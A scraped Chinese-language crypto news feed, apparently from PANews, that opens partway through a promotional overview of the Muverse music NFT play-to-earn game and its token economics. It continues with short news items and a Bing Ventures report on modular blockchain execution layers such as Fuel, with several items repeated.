Collective 制片人，拥有 15 年好莱坞工作经验。北美及亚洲市场负责人 Adrian 与 Jennie 都具有多年加密行业运营经验。 据媒体报导，好莱坞制片人 Mark Rau 加入 Muverse 担任 COO，Mark Rau 作为好莱坞电影公司 The H Collective Europe 的 CEO 曾参与电影《致命弯道 7》、《魔童》、《战狼 2》、《希特勒回来了》等的制片与发行工作，并于 2021 年短暂加入 Social-Fi NFT 游戏开发公司 Element.black。 其他资源 :Muverse 已邀请前 AMPAS( 奧斯卡组织者 ) 主席、前 Lucasfim、Marval 和 Paramount 副总裁 Sidney Ganis 作为顾问，在北美协助推广 Muverse。与韩国的 FNC 娱乐公司也有合作。 平台参与方式有用户、艺术家、收藏家三种参与方式，Muverse 为平台内的不同用户设计了不同的收益场景。 其中，用户可以在平台体验Muverse 的首个音乐互动场景的节拍游戏，通过玩游戏方式获取 MCT 代币奖励。游戏分为单人模式与多人对战模式两种，随着产品的迭代更新，更多功能（如得分榜、音符增强模式）将会推出。进行游戏获取 MCT 需要有耳机 NFT，若没有耳机 NFT，可以在中心化或者去中心化交易所上购买 ETH 并将它们转移到您的 Muverse 钱包，随后将 ETH 转移到应用内钱包以在市场上购买耳机 NFT。（注意：请始终在您的钱包账户中保留一些 ETH 作为 gas。）准备完毕后可以体验游戏，进入赚收益首页，选择耳机 NFT，开始与音乐互动赚取 MCT，同时近期也推出了听歌赚收益，可以选择在某些场景下通过听歌来赚取收益。 艺术家可以产生创作&收益。注册成为平台艺术家后，Muverse 将为艺术家与他们的忠实粉丝建立 web3.0 音乐社区，增强艺术家与粉丝社区的互动，使粉丝可以直接发现并投资好的音乐家与音乐作品。还可以发起音乐派对，音乐派对是由艺术家与其忠实粉丝共同发起的壹场针对艺术家音乐 NFT 作品发行、销售的壹场视听盛宴。通过发起音乐派对，艺术家不仅可以完成音乐作品 NFT 的销售，还可以扩大其用户基础与社区影响力。艺术家通过为自己的音乐创造价值并在每次销售音乐时赚取收益。 收藏家的收益方式是：遵循 Muverse 的人才发现机制，即有机会在早期发现有潜力的艺术家，投资他们，与艺术家一同成长，收益。艺术家的人才发现是 Muverse 要实现的一个重要目标，为此 Muverse 将为艺术家的人才发现与成长设置良好的机制，帮助艺术家扩大其粉丝规模与平台内外的影响力。在 Muverse 平台上与音乐的互动达到一定程度后，将获得收藏家的身份。拥有收藏家身份的用户可以加入音乐派对，可以在派对中购买或出售最喜欢的艺术家的 NFT。歌曲售罄时才会公布获奖者，获奖者的实时 NFT 版税将远高于普通 NFT 持有者。当艺术家的音乐 NFT 被应用于 Muverse 内的互动场景时，将产生实时版税收益。收益将根据收藏家持有音乐 NFT 的数量分配给收藏家。 2.游戏模式 分为无耳机模式，耳机模式。无耳机模式下，用户无需拥有耳机 NFT 即可在有能量的前提下，通过参与游戏互动获取代币收益。耳机模式下，用户在有能量的前提下，参与游戏互动可获得更高的代币收益。以下内容皆是耳机模式。 用户只有在有能量的情况下才能参与单人模式，每个能量可以进行 1 次音乐互动。玩家完成音乐游戏互动获得分数和 MCT 收益，收益通常基于 3 个因素： 音乐游戏难度：通过不同类型的耳机 NFT，您可以选择不同难度级别的音乐游戏。游戏关卡越高，MCT 奖励越高。 音乐互动评分：根据您在音乐游戏中的表现得分。 音质的值：耳机 NFT 的音质值越高，同样的分数可以获得的 MCT 越多。 后续还会有挑战模式的推出。 游戏中含有四种 NFT，分别是：耳机 NFT、盲盒 NFT、宝石 NFT、音符 NFT。 App 内置交易市场，玩家可以买卖物品，包括耳机 NFT、耳机 NFT 盲盒、宝石 NFT、音符 NFT 等。这些交易收取 6% 的费用。 交易中的物品将被锁定，不能用于赚取收益。 耳机 NFT 耳机 NFT 有四种类型，对应四种游戏难度。 （1）耳机属性 音质（MCT 收益） ：音质属性越高，同等能量消耗下的收益越高。 灵感 ( 神秘宝箱 ) ：灵感决定神秘宝箱出现的频率和稀有度（即将推出）。 魅力（MU 收益）：暂不开放，预计与后期 MU 代币收益有关 质量（耐用性 / 修复）：质量会影响耳机的耐久和维修成本。品质属性越高，每次消耗的生命值越少，修复成本越低。 （2）耳机稀有度 稀有度是每个耳机 NFT 的价值级别。有 5 个级别：普通、经典、珍贵、稀有、传奇。不同等级的稀有度对应不同等级的基本属性，会影响宝石槽的加成和能量值的上限，所以稀有度越高，收益越高。 此外，每个属性的值将根据耳机的稀有度在相应的最小值和最大值内随机确定。因此，即使是同一种稀有 NFT 的耳机，其属性也可能存在很大差异。 （3）耳机宝石 NFT 插座（即将推出） 每个耳机 NFT 都有四个宝石插座，供玩家插入“宝石 NFT”，以增加他们的基本属性值。每个耳机 NFT 在达到一定级别时都会解锁一个插槽。 宝石插槽有四种类型，每个宝石插槽代表一个属性： 盲盒 NFT 打开盲盒是获取耳机 NFT 的主要方式之一。盲盒具有与耳机相同的五种不同稀有度：普通、经典、珍贵、稀有和传奇。 盲盒有更高的概率打开相同稀有度的耳机 NFT，但也有一定概率打开更高或更低稀有度的耳机 NFT。 宝石 NFT（即将推出） 宝石 NFT 是对耳机 NFT 属性的额外增强。当耳机解锁插槽并消耗 MCT 激活时，玩家可以插入宝石 NFT 来增强耳机 NFT 的指定属性。宝石 NFT 的获取方式有两种：神秘宝箱和市场。 宝石有四种类型，每种宝石代表一个属性： 黄色 + 音质 蓝色 + 灵感 紫色 + 质量 红色 + 魅力 音符 NFT（即将推出） 音符 NFT 可以通过音乐交互获得，音符 NFT 效果将随着应用音乐交互模式的开发进程逐步启用。 4.游戏系统 收益上线机制 游戏设置收入上限机制，单人模式有每日能量上限和每日代币奖励上限。这些限制了用户每天可以获得的代币数量。当获得的代币达到上限时，即使还有能量，也无法继续获得代币。必须等待奖励上限重置（每天 0:00 重置）才能继续游戏并获得奖励。 在无耳机模式下，玩家获取收益影响最主要的是连续单机得分。 在耳机模式下，耳机 NFT 的属性也是玩家游戏收益的主要因素，所以由玩家耳机效率和连续点击得分两方面有关。总之，玩家耳机 NFT 属性越佳，参与模式越高级，收益越高。 能量机制 每次音乐互动都会消耗能量值，能量消耗后可自动恢复，每 6 小时恢复 25% 的能量值，直至达到能量上限。用户可以通过持有更多的耳机 NFT 来提高能量上限，计算如下： 在持有耳机 NFT 并获得基础能量的情况下，每个创世耳机 NFT 可以提高 0.5 的能量上限。 在持有耳机 NFT 并获得一定基础能量值的情况下。稀有或更高等级的耳机 NFT 可以提高能量上限。 示例： 1 普通耳机 +1 经典耳机=6 总能量 (5 基础能量 +1 奖励 ) 2 罕见耳机 +1 普通耳机=17 总能量 (7 基础能量 +10 奖励 ) 注意：在市场上出售耳机将导致能量和能量上限损失。将耳机从一个账户转移到另一个账户会导致耳机进入 48 小时冷却期，在冷却期内，用户无法使用该耳机。 耐久度机制 初始耐久度是 100，每次游戏消耗能量，耳机 NFT 都会消耗耐久度。如果用户只使用此耳机提供能量，则此耳机的耐用度不会衰减。 根据耳机 NFT 的稀有度和质量值，耐久度的消耗也不同。品质属性越高，耐久度损失和恢复成本越低。耳机 NFT 在达到耐久度阈值时会遭受“破音”惩罚。 耐久度< 100% ，耳机 NFT 不能在交易市场上市或转让 20% < 耐久度<= 50%，机 NFT 的音质会下降到 90% 0 < 耐久度<= 20%，耳机 NFT 的音质会降低到 10% 耐久度= 0，耳机 NFT 的音质会下降到 0% 使用 MCT 恢复耐久度。耐久度的恢复受耳机 NFT 的稀有度和等级，以及耐久度损失程度的影响。耐久度越低，恢复成本越高。 耳机升级 每个耳机 NFT 都有 30 个等级，玩家可以通过花费 MCT 来升级。等级越高，消耗的 MCT 越多。每次升级都需要等待时间，支付 MCT 可以加快升级过程。在 NFT Lv.19、Lv.28 和 Lv.29 中，除了 MCT 外，还需要额外的 MU。 升级耳机 NFT 可以提高每日收益上线，后续还可以解锁新功能，在 Level5、10、15、20 等级下，分别解锁耳机 Mint、插座 1、插座 2、插座 3、插座 4。 升级后根据用户耳机稀有度分配 4-12 个额外属性点： NFT Mint NFT 达到 5 级开启铸造功能，消耗 MCT/MU，配对两个耳机 NFT 铸造一个盲盒。每个耳机最多铸造七次，而且随着铸造次数增加，MCT/MU 成本也随之增加，获得更高级别盲盒的概率随着铸造频次的增加而增加，用于配对两个 NFT 的耳机称为“前因”，前因对的类别和稀有度将对耳机的盲盒产生直接影响。将不同稀有度的前因配对将生成不同稀有度的盲盒。用户仅在 1-1、2-2、3-3、4-4、5-5、6-6 配对时享受概率奖励红利，其他如 0-1、0-5、3-4 不享受概率红利，根据第一次 Mint 概率。 帐号 Mint 后需要 48 小时的冷却时间，此期间不可以进行 MINT。 MINT 成本动态调整，主要由 MCT 价格决定，铸造成本每天世界标准时间 14：00（北京时间 22：00）更新，代币价格波动大，极端情况下可能每天调整多次。 成本公式如下： Mint 成本= MCT (A) + 基础 MU (B) + 额外的 MU ([A+B]*x) 调整主要为额外的 MU 代币，动态调整可以保证代币消耗，保证 MU 的价值。目前阶段 MU 没有上线，Mint 主要由 MCT 消耗进行。 税费 游戏将对各种应用内活动收取不同的税款和费用，详情如下： 游戏进一步计划 除了暂时还未上线的宝石 NFT 升级，神秘宝箱外，平台还有计划后期上线音乐&跳舞 ( 通过在游戏中使用手机的摄像头随着音乐跳舞来赚取收益 )，音乐&唱歌（通过在游戏中唱歌来赚取收益），音乐&健康的生活方式（可以通过在游戏中边听音乐边锻炼来赚收益）。 Social-Fi 目前仍在开发阶段，Muverse 主打就是音乐 + 社交，所以 SocialFi 也是发展重点。通过排队模式，艺术家在 MUVERSE 上轻松发行音乐专辑，通过 MUVERSE 举办线上或线下演唱会，发展自己的粉丝。用户可以购买喜欢的音乐 NFT，投资艺术家。 而且在创意模式中，类似与短视频，通过用户使用音乐创造作品获得其他用户关注夏欢，可以获得收入，广告公司还可以按照用户通过 Muverse 设定的价格购买音乐视频 NFT。购买后，广告公司可以在视频后添加广告内容。 音乐 NFT 是 Muverse 社交方面的重点，音乐 NFT 为艺术家提供销售收入，音乐 NFT 购买者将在 Game-Fi 中拥有该音乐 NFT 产生的实时版税收入。随着艺术家的音乐登上排行榜，这些开创性的音乐 NFT 将产生持续的版税收入并增加价值。 Muverse 采用双代币 MCT+MU 治理模式。 MCT MCT 是用于在 Muverse 中进行操作的 Token，通过与音乐互动获得的 MCT，总共应量无限。应用场景为：为各种 APP 功能付费，包括耳机 Mint、NFT 耐久修复、NFT 升级、宝石升级、开锁宝石插座。并且应用场景内所消耗的 MCT 将全部销毁。 MU MU 是平台的治理代币。MU 是一种具有一些高级功能的支付代币。 总供应量 10 亿枚，锁仓 1-2 年不等。 MU 的应用场景是：耳机升级、耳机 Minting、宝石升级、参加挑战模式、购买音乐存储节点。并且场景内所消耗的 MU 也将全部销毁，所以 MU 的模式也是逐渐通缩。 截至 4 月 2 日，用户通过 Muverse 平台上的节奏游戏和音乐聆听场景累计挖矿 16,562,281 枚 MCT。耳机 NFT 升级、维护、铸造消耗的 MCT 总量为 5,178,281 枚，占挖矿总量的 31.265%。剩余的 3,437,722 枚 MCT 作为平台储备金，支持用户挖矿需求的持续增长。 MCT 流动性：Muverse 的 MCT 实用代币只能由用户挖掘，Muverse 团队没有进行预挖。此外 MCT 的任何使用都将对社区透明。 MCT 已经在 Uniswap v2 添加了流动性，流动性池地址：https://app.uniswap.org/#/tokens/ethereum/0xbee709aa42375ace642338f7f657ff859a19c9bc 用于增加流动性池的 MCT 来自 Muverse 耳机 NFT 用户的 NFT 升级维护。自 2023 年 4 月 1 日起，Muverse 耳机升级维护所消耗的 MCT 将全部转移至虫洞地址进行销毁，不再用于其他用途。 关于 MU，之前用户共购买了 752,586 个 MU 代币，耳机 NFT 升级和铸造过程中消耗的 MU 总量为 433，749.4MU 代币。用户的地址剩余 MU 余额为 318,836.6MU。目前，Muverse 的多签地址 A 中仍持有 10,247,414 个 MU 代币，占已发行 MU 代币总量的 93.158%，占 MU 代币总量的 1.025%。用户持有量（318,836.6MU）占发行的 MU 代币总量的 6.842% 和 MU 代币总量的 0.00032%。 详情可以查看最近公布的季度透明度报告：https://medium.com/@Muverse/transparency-muverse-quarterly-transparency-report-2023-q1-48dc2d1bee55 在流媒体时代，唱片公司与音乐家的收入处于严重不对等状态，多数音乐家表示其收到的报酬微乎其微。谈及音乐家的报酬问题，我们不得不提版税。在音乐行业，版税基本上是歌曲（或任何创作）被出售、分发、用于其他媒体（如商业或电影）或以任何方式货币化时支付给任何权利持有人的费用，版税问题一直是传统音乐世界的痛点。根据不完全统计，从 2021 年到现在，Web 3 音乐项目的融资金额超过 2 亿美金，生态也愈发壮大。Muverse 将音乐与 NFT 相结合，通过发型音乐 NFT 解决音乐艺术家的版税问题，过去两次音乐家的歌曲销售皆以成功为结局，并且用户可以通过成为收藏家购买收藏艺术家音乐 NFT 并享受版税收益，现在已经开发出了 1.0 版本音乐类节拍游戏，是音乐使用的另一个场景，未来全规模的音乐社区以及音乐 NFT 市场的搭建更加值得期待，随着 Muverse 的不断发展，可以展望未来在 WEB3 音乐赛道中的脱颖而出。  ( 7 min )
    以太坊ERC-20代币标准发明者计划发布Layer 1区块链“LUKSO”
    PANews 4月6日消息，据CoinDesk报道，以太坊ERC-20代币标准发明者Fabian Vogelsteller计划发布Layer 1区块链LUKSO，验证者将能够通过Genesis Validator智能合约存款加入网络。LUKSO将从以太坊中诞生，对此Vogelsteller表示：“我们在某种程度上使用以太坊作为入口，就像以太坊使用比特币网络一样”。未来几周将在以太坊上线一个创世验证者存款智能合约，允许用户存入32枚LYXe成为创世验证者，LUKSO主网上线后，LYXe将转换为LYX，即LUKSO的原生代币。  ( 1 min )
    以太坊ERC-20代币标准发明者计划发布Layer 1区块链“LUKSO”
    PANews 4月6日消息，据CoinDesk报道，以太坊ERC-20代币标准发明者Fabian Vogelsteller计划发布Layer 1区块链LUKSO，验证者将能够通过Genesis Validator智能合约存款加入网络。LUKSO将从以太坊中诞生，对此Vogelsteller表示：“我们在某种程度上使用以太坊作为入口，就像以太坊使用比特币网络一样”。未来几周将在以太坊上线一个创世验证者存款智能合约，允许用户存入32枚LYXe成为创世验证者，LUKSO主网上线后，LYXe将转换为LYX，即LUKSO的原生代币。  ( 1 min )
    苹果最新版本的Mac和MacBook疑似内置比特币白皮书
    PANews 4月6日消息，据Bitcoin Magazine报道，比特币白皮书疑似已预装在苹果每台Mac和MacBook上，可通过简单的终端命令或导航 Finder打开，在Finder终端中输入以下命令：open /System/Library/Image\ Capture/Devices/VirtualScanner.app/Contents/Resources/simpledoc.pdf。用户需要导航到 Macintosh HD -> System -> Library -> Image Capture -> Devices。按住 Control 单击 VirtualScanner.app 并显示包内容，然后打开内容 -> 资源文件夹 -> simpledoc.pdf。  ( 1 min )
    苹果最新版本的Mac和MacBook疑似内置比特币白皮书
    PANews 4月6日消息，据Bitcoin Magazine报道，比特币白皮书疑似已预装在苹果每台Mac和MacBook上，可通过简单的终端命令或导航 Finder打开，在Finder终端中输入以下命令：open /System/Library/Image\ Capture/Devices/VirtualScanner.app/Contents/Resources/simpledoc.pdf。用户需要导航到 Macintosh HD -> System -> Library -> Image Capture -> Devices。按住 Control 单击 VirtualScanner.app 并显示包内容，然后打开内容 -> 资源文件夹 -> simpledoc.pdf。  ( 1 min )
    CoinFLEX联创承诺Roger Ver可在OPNX上免费交易两年，以解决8400万美元债务问题
    PANews 4月6日消息，加密交易平台CoinFLEX联合创始人Mark Lamb发布公开信称，承诺Bitcoin. com创始人Roger Ver可在OPNX上免费交易两年，旨在解决两者之间长期存在的争执，以使Roger Ver向CoinFLEX偿还据称未偿还的贷款。此前去年6月Mark Lamb指控Roger Ver拖欠4700万美元的贷款，但Roger Ver驳回了这一说法，随后CoinFLEX披露损失金额上升至8400万美元，并表示已启动仲裁程序并在筹集资金。 此前消息，Coinflex更名为OPNX，Leslie Lamb将担任CEO。  ( 1 min )
    CoinFLEX联创承诺Roger Ver可在OPNX上免费交易两年，以解决8400万美元债务问题
    PANews 4月6日消息，加密交易平台CoinFLEX联合创始人Mark Lamb发布公开信称，承诺Bitcoin. com创始人Roger Ver可在OPNX上免费交易两年，旨在解决两者之间长期存在的争执，以使Roger Ver向CoinFLEX偿还据称未偿还的贷款。此前去年6月Mark Lamb指控Roger Ver拖欠4700万美元的贷款，但Roger Ver驳回了这一说法，随后CoinFLEX披露损失金额上升至8400万美元，并表示已启动仲裁程序并在筹集资金。 此前消息，Coinflex更名为OPNX，Leslie Lamb将担任CEO。  ( 1 min )
    链游RACA获DWF Labs 1600万美元融资
    PANews 4月6日消息，据CoinDesk报道，链游RACA（Radio Caca）获DWF Labs 1600万美元融资，包括购买数量不详的RACA代币，所筹资金将帮助RACA推进其Web3游戏生态系统的目标。据悉，RACA（前身为 Radio Caca）成立于2021年，最初是Elon Musk的母亲Maye Musk的不可替代代币（NFT）的管理者。该公司已经推出了R3游戏基础设施、SimCity风格的沙盒游戏USM.WORLD、社交派对游戏Looki Looki Jazzi、跨游戏DID钱包JAZ和NFT市场。  ( 1 min )
    链游RACA获DWF Labs 1600万美元融资
    PANews 4月6日消息，据CoinDesk报道，链游RACA（Radio Caca）获DWF Labs 1600万美元融资，包括购买数量不详的RACA代币，所筹资金将帮助RACA推进其Web3游戏生态系统的目标。据悉，RACA（前身为 Radio Caca）成立于2021年，最初是Elon Musk的母亲Maye Musk的不可替代代币（NFT）的管理者。该公司已经推出了R3游戏基础设施、SimCity风格的沙盒游戏USM.WORLD、社交派对游戏Looki Looki Jazzi、跨游戏DID钱包JAZ和NFT市场。  ( 1 min )
    一文了解模块化公链：模块化执行层能的通用之路
    作者： Kyle Liu, Bing Ventures投资经理 乘着Layer2的东风，模块化公链叙事热度兴起，其中尤以模块化公链执行层项目最为值得关注。本期Bing Ventures行业研究报告将简要介绍什么是模块化公链以及当前模块化公链执行层领域的基本格局。 随着 Layer 2 和 Rollups 的发展，以太坊的生态系统转向了模块化架构。区块链技术大规模应用的最大障碍之一是可扩展性。Layer1 扩展解决方案专注于区块生产而不是区块验证。模块化区块链基础设施旨在促进具有可扩展性、安全性和去中心化特性的 Web3采用，并专注于易于集成、快速交付和用户体验。 模块化公链正逐渐成为大家讨论最多的话题，而所谓模块化，就是把区块链的共识层、数据可用性层（DA）、结算层、交易执行层等分工给不同的链，而不是一条链处理所有模块。执行层可以作为自己的区块链存在，也可以利用底层区块链来保证有效性和数据可用性。 通常来看，上述三层其实早已存在，但是它们被耦合在以太坊网络中，没有明确的界限和分工。模块化公链的目的就是要解耦这些层，首先在Layer2应用的技术环境下，将隐私安全、节点验证、交易确认、数据存储、欺诈证明等功能分别处理，从而实现链上的扩容。 区块链技术的“不可能三角”一直是困扰开发者和用户的问题，Layer2等解决方案就是为了解决这个核心问题而设计的。具体来说，Layer2的方法是将数据的计算和处理移到以太坊的第二层网络，而第一层网络主要负责安全性，也就是共识。值得注意的是，模块化公链主要是针对以太坊升级提出的解决方案，其叙事逻辑围绕以太坊展开。但是，目前也有其他链上的项目参考此进行性能改进。 模块化公链旨在将系统划分为多个模块组件，使其具有区块链的特性，甚至可以拥有DEX、稳定币、NFT和衍生品等子功能。开发人员可以将这些新模块提取出来，任意排序组合，以实现更高级的功能。直到去年下半年，模块化公链才再次被提及，因为以太坊的Layer2方案在那时开始兴起，而Layer2正是实现公链模块化的重要基础和先决条件。 Source: celestia 模块化执行层的竞争格局 以太坊生态系统通过 Layer 2 和 Rollup 等技术实现了执行层与底层区块链的分离，从而提高了可扩展性、安全性和互操作性。目前模块化公链执行层有一些专注于提供数据可用性层的项目，例如 Celestia、LazyLedger 和 DataShards；有一些专注于提供执行层的项目，例如 Optimism、Arbitrum 和 zkSync3；还有一些专注于提供跨链桥接和协议聚合的项目，例如 Polygon、Connext 和 Hop Protocol。 它们都在积极地开发和部署自己的解决方案，并与各种去中心化应用合作，以提升用户体验和网络效率。模块化公链执行层类项目之间存在一定程度的竞争和合作，因为它们都面临着共同的挑战和机遇，我们的评价维度应该始终围绕安全性、可扩展性、互操作性、成本效益这四个指标。笔者总结了以下几类典型项目： Source: Volt 公链大提速 模块化区块链架构可以将区块链的功能分解为不同的层级，例如执行层、安全层和数据可用性层，这可以提高区块链的效率、灵活性和互操作性。并行交易类产品可以利用并行处理的方式执行交易，并通过不同的验证机制来保证金交易的有效性，这可以提高区块链的处理能力、吞吐量和确认速度。它们可以支持更多代币和智能合约，并让用户在不同的区块链之间转移资产，这可以拓展区块链的应用场景，例如DeFi、NFT和Web3。 Arbitrum就是一个基于Optimistic Rollup技术的经典执行层方案，它可以在以太坊上实现高效、低成本和兼容性强的智能合约。 Arbitrum可以利用任意数据（Arbitrary Data）技术来提高交易吞吐量和确认速度。同时，StarkNet作为一个基于ZK-Rollup技术的执行层平台，它可以在以太坊上实现可扩展、安全和隐私保护的去中心化应用。 StarkNet可以利用零知识证明（Zero-Knowledge Proof）技术来保证交易的有效性和数据可用性。这两种路线目前占据了执行层技术路线的主流。 但是，并行处理需要严格的状态访问列表来确保交易不会互相干扰。同时，模块化区块链需要依赖其他层级来提供安全性、共识和数据可用性，这可能会增加复杂度和成本。此外，并行处理可能会降低交易的确认速度，因为需要等待所有并行分支都完成才能确认整个区块。面对这些问题，Fuel作为一个基于UTXO模型的执行层协议，它可以在不同的区块链上运行。 Fuel可以利用并行处理的方式执行交易，并通过优化撤销（Optimistic Yanking）技术让用户在不同的区块链之间转移资产。Fuel使用了一个名为FuelVM的虚拟机器，它可以快速地验证交易和区块，并支持多种代币和智能合约。Fuel采用了一种名为Optimistic Yanking的技术，它可以让用户在不同的区块链之间转移资产，而不需要等待长时间的确认或支付高额的手续费。 Source: vitalik.ca Fuel：执行层的并行交易 Fuel是最早部署在以太坊主网上的Optimistic Rollup，在2020年年底在以太坊上线V1版本。它通过使用与EVM不同的执行模型来提供可扩展性，即基于UTXO的高度可并行化的最小执行系统，支持ETH和所有ERC-20代币。然而因为Fuel V1的用户过少以及不支持智能合约，在上线后一直没有受到用户的欢迎。于是在Fuel V1启动后不久，Fuel的开发团队Fuel Labs就将全部开发重心转移到V2版本，并将其定位为模块化执行层，即为模块化区块链堆栈设计的可验证计算系统。 Fuel最大的特色是其采用全新的VM架构 — — FuelVM，该VM具备其工具链和语言。FuelVM从WASM、EVM和Solana的SeaLevel中汲取特点，最引人注目的潜力是它在UTXO-based数据模型上执行。相比今天的Optimistic Rollups，Fuel的最大区别在于其使用UTXO-based数据模型，而且其第一个版本是以P2P支付为应用场景。Fuel V2有望实现类似以太坊的智能合约，该VM面向应用程序特定的支付Rollup设计，是一个定制VM，为其提供了更多的推理便利，但对于类似以太坊的通用Rollup，则不太明显。 FuelV2的技术堆栈有三个核心支柱，分别为： FuelVM FuelVM旨在减少传统区块链虚拟机架构的浪费处理情况，同时增加开发人员的潜在设计空间。Fuel采用UTXO数据模型，与比特币类似，整个状态以UTXO集的形式表示。不同之处在于，Fuel V2中的一些UTXO是代币UTXO，而另一些是合约UTXO。与代币UTXO不同，合约UTXO除了余额和支出条件外，还具有代码、存储和唯一的合约ID。 UTXO的一个显著特点是它们是原子的，即交易完全消耗它们并创建新的UTXO。对于合约UTXO，Fuel定义了一些新的有效性规则。其中重要的规则包括：合约UTXO被锁定在特殊的任何人都可以消费的支出条件后面；当交易消费合约UTXO时，它会创建一个新的合约UTXO，具有相同的支出条件和合约ID，但可能具有新的存储和余额；在同一交易中使用的合约UTXO可以相互交互。 Fuel的优点是采用UTXO模型使得Fuel区块链可以更快速、高效地进行交易。而它的劣势则在于UTXO模型的实现需要一定的技术难度，且相对于账户模型的实现需要更多的代码量。此外，由于UTXO模型不太适用于智能合约，因此使用合约UTXO时需要遵循新的有效性规则，需要一定的技术知识和经验。但是，Fuel仍然在不断发展和完善，未来有望实现更多的功能和应用场景。 并行交易执行 Fuel 使用UTXO模型形式的严格状态访问列表，因此具有并行执行交易的能力，在计算、状态访问和事务吞吐量方面较具优势）。Fuel是一种基于UTXO模型的区块链，其最大的优势在于其可并行执行交易，这是其它许多区块链所没有的。该技术的核心是通过访问列表(access lists)确定交易将修改的状态部分，从而实现并行执行。 这意味着如果交易花费的UTXOs没有重叠，它们可以被分别执行，从而充分利用多核CPU的性能。这项技术不仅适用于区块内交易，还可以跨区块执行，使得（重新）进入节点的同步速度更快。相比之下，基于账户模型的区块链也可以实现并行执行，但需要更多考虑因素，如访问列表的严格规定。同时，单核性能已经无法满足需求，而多核CPU的使用不断普及，多核处理对于提高执行效率也有着乘法效应。因此，Fuel的并行执行技术将在未来变得越来越重要。 开发者体验 Fuel 使用自己的特定领域语言 Sway和支持工具链 Forc提供较为强大和流畅的开发人员体验。开发环境保留了 Solidity 等智能合约语言的优势，同时采用了 Rust 工具生态系统中引入的范式，并包含利用区块链 VM 的语法。为了解决状态增长的问题，FuelVM采用了两种程序 — — 脚本和谓词，以增强图灵完备的智能合约。 与EVM不同的是，FuelVM的用户不直接调用合约，而是运行脚本来调用多个合约。脚本的美妙之处在于它们是可剪枝的，一旦脚本被执行，就会被完全剪枝，不会对状态造成任何影响。谓词类似于脚本，但在执行期间不会读取合约存储，完全是无状态的。脚本和谓词的主要目的是将FuelVM变成半无状态执行。在FuelVM中，应用程序可以根据应用程序的功能和资源价格，更倾向于状态或执行。此外，Fuel还支持多种复杂应用，如多个本地资产支持、单笔交易中的授权和转移、混币器和隐私应用等，具有很大的灵活性。 Source: Fuel 模块化执行层的通用之路 现今的Rollups的主要价值在于扩展以太坊，并在可能的情况下扩展其功能。Rollups通过以下两种方式扩展以太坊：1.将状态（和执行）转移到链下，即从L1到L2移动它；2.并行计算，即多个Rollups可以同时在以太坊上运行。Rollups通过将部分状态转移到链下来减轻以太坊状态增长的问题，但这并不会奇迹般地消除维护状态的需求。尽管以太坊节点不需要维护它，但Rollup节点必须维护它。 目前，Rollup领域没有太多关注状态优化。相反，大多数关注点集中在减少L1数据上，因为当前数据是Rollup的最昂贵成本项目。大约有2/3的Arbitrum费用以L1 calldata的形式存在。EVM Rollup优化了发布到L1的数据，试图尽可能压缩它以为用户提供更便宜的费用。 但我们没有考虑到的是，成本将在模块化时代发生巨大变化。随着基础层开始大量提供数据（归功于数据可用性采样技术），Rollups很快将享受到数量级更便宜的数据。同时，由于对状态增长的关注较少，状态大小将迅速成为模块化世界中的主要瓶颈。任何区块链，无论是Rollup还是L1，对于增加状态的操作都会对网络产生永久性成本。这些操作不仅消耗当前节点的资源，也消耗未来所有节点的资源。 Source: Bing Ventures 目前，Fuel成功构建了一些示范用例，如AMM、多重签名、预言机和DAO投票等。未来，Fuel团队还计划构建其他产品的示范用例，例如借贷、NFT市场等。虽然基于UTXO的执行方式可能会有些反直觉，但我认为Fuel独特的能力将会催生出新的应用程序，推动当前DeFi空间的能力极限。总之，我对Fuel在模块化堆栈中所带来的潜力感到兴奋。数据可用性层可以扩展数据，但为了完整的去中心化用户体验，我们还需要扩展执行。Fuel有望填补这一空白。 从我们的评价尺度来看，Fuel的安全性是由主网以太坊提供的，这意味着Fuel不需要自己的验证器或共识机制，也不会受到攻击或分叉的风险。 但是，这也意味着Fuel需要依赖以太坊的安全性和稳定性，如果以太坊出现故障或升级，可能会影响Fuel的运行。Fuel的可扩展性是由其高效的交易格式和低延迟的确认时间实现的，这使得Fuel可以在每秒处理数千笔交易，并在几秒内完成交易确认。 但是，这也意味着Fuel需要与其他rollup链竞争资源和用户，如果其他rollup链提供了更高的吞吐量或更低的延迟，可能会影响Fuel的吸引力。 Fuel的互操作性是由其跨链转移功能和多代币支持功能实现的，这使得Fuel可以与以太坊、Arbitrum、Optimism、Polygon等Layer 1和Layer 2网络兼容和互通。 但是，这也意味着Fuel需要与其他跨链解决方案竞争效率和安全性，如果其他跨链解决方案提供了更快、更便宜或更安全的转移服务，也会影响Fuel的竞争力。 未来，Fuel可以支持各种类型的交易和计算，包括转账、支付、智能合约、预言机等。 这使得Fuel可以适应不同的用例和需求，并提供高效和灵活的服务。同时，加快与各种模块化区块链网络进行集成和互操作，包括以太坊2.0、Celestia等。 这将使得Fuel可以利用这些网络的数据可用性和共识安全性，并提供跨链转移和互通功能。Fuel可以通过增加创新和优化其技术方案来进一步提高其执行效率和性能，包括Merkle Patricia Trie、Zero-Knowledge Proofs等。这些举措有望在未来扩大它作为模块化执行层的通用性。  ( 10 min )
    一文了解模块化公链：模块化执行层能的通用之路
    作者： Kyle Liu, Bing Ventures投资经理 乘着Layer2的东风，模块化公链叙事热度兴起，其中尤以模块化公链执行层项目最为值得关注。本期Bing Ventures行业研究报告将简要介绍什么是模块化公链以及当前模块化公链执行层领域的基本格局。 随着 Layer 2 和 Rollups 的发展，以太坊的生态系统转向了模块化架构。区块链技术大规模应用的最大障碍之一是可扩展性。Layer1 扩展解决方案专注于区块生产而不是区块验证。模块化区块链基础设施旨在促进具有可扩展性、安全性和去中心化特性的 Web3采用，并专注于易于集成、快速交付和用户体验。 模块化公链正逐渐成为大家讨论最多的话题，而所谓模块化，就是把区块链的共识层、数据可用性层（DA）、结算层、交易执行层等分工给不同的链，而不是一条链处理所有模块。执行层可以作为自己的区块链存在，也可以利用底层区块链来保证有效性和数据可用性。 通常来看，上述三层其实早已存在，但是它们被耦合在以太坊网络中，没有明确的界限和分工。模块化公链的目的就是要解耦这些层，首先在Layer2应用的技术环境下，将隐私安全、节点验证、交易确认、数据存储、欺诈证明等功能分别处理，从而实现链上的扩容。 区块链技术的“不可能三角”一直是困扰开发者和用户的问题，Layer2等解决方案就是为了解决这个核心问题而设计的。具体来说，Layer2的方法是将数据的计算和处理移到以太坊的第二层网络，而第一层网络主要负责安全性，也就是共识。值得注意的是，模块化公链主要是针对以太坊升级提出的解决方案，其叙事逻辑围绕以太坊展开。但是，目前也有其他链上的项目参考此进行性能改进。 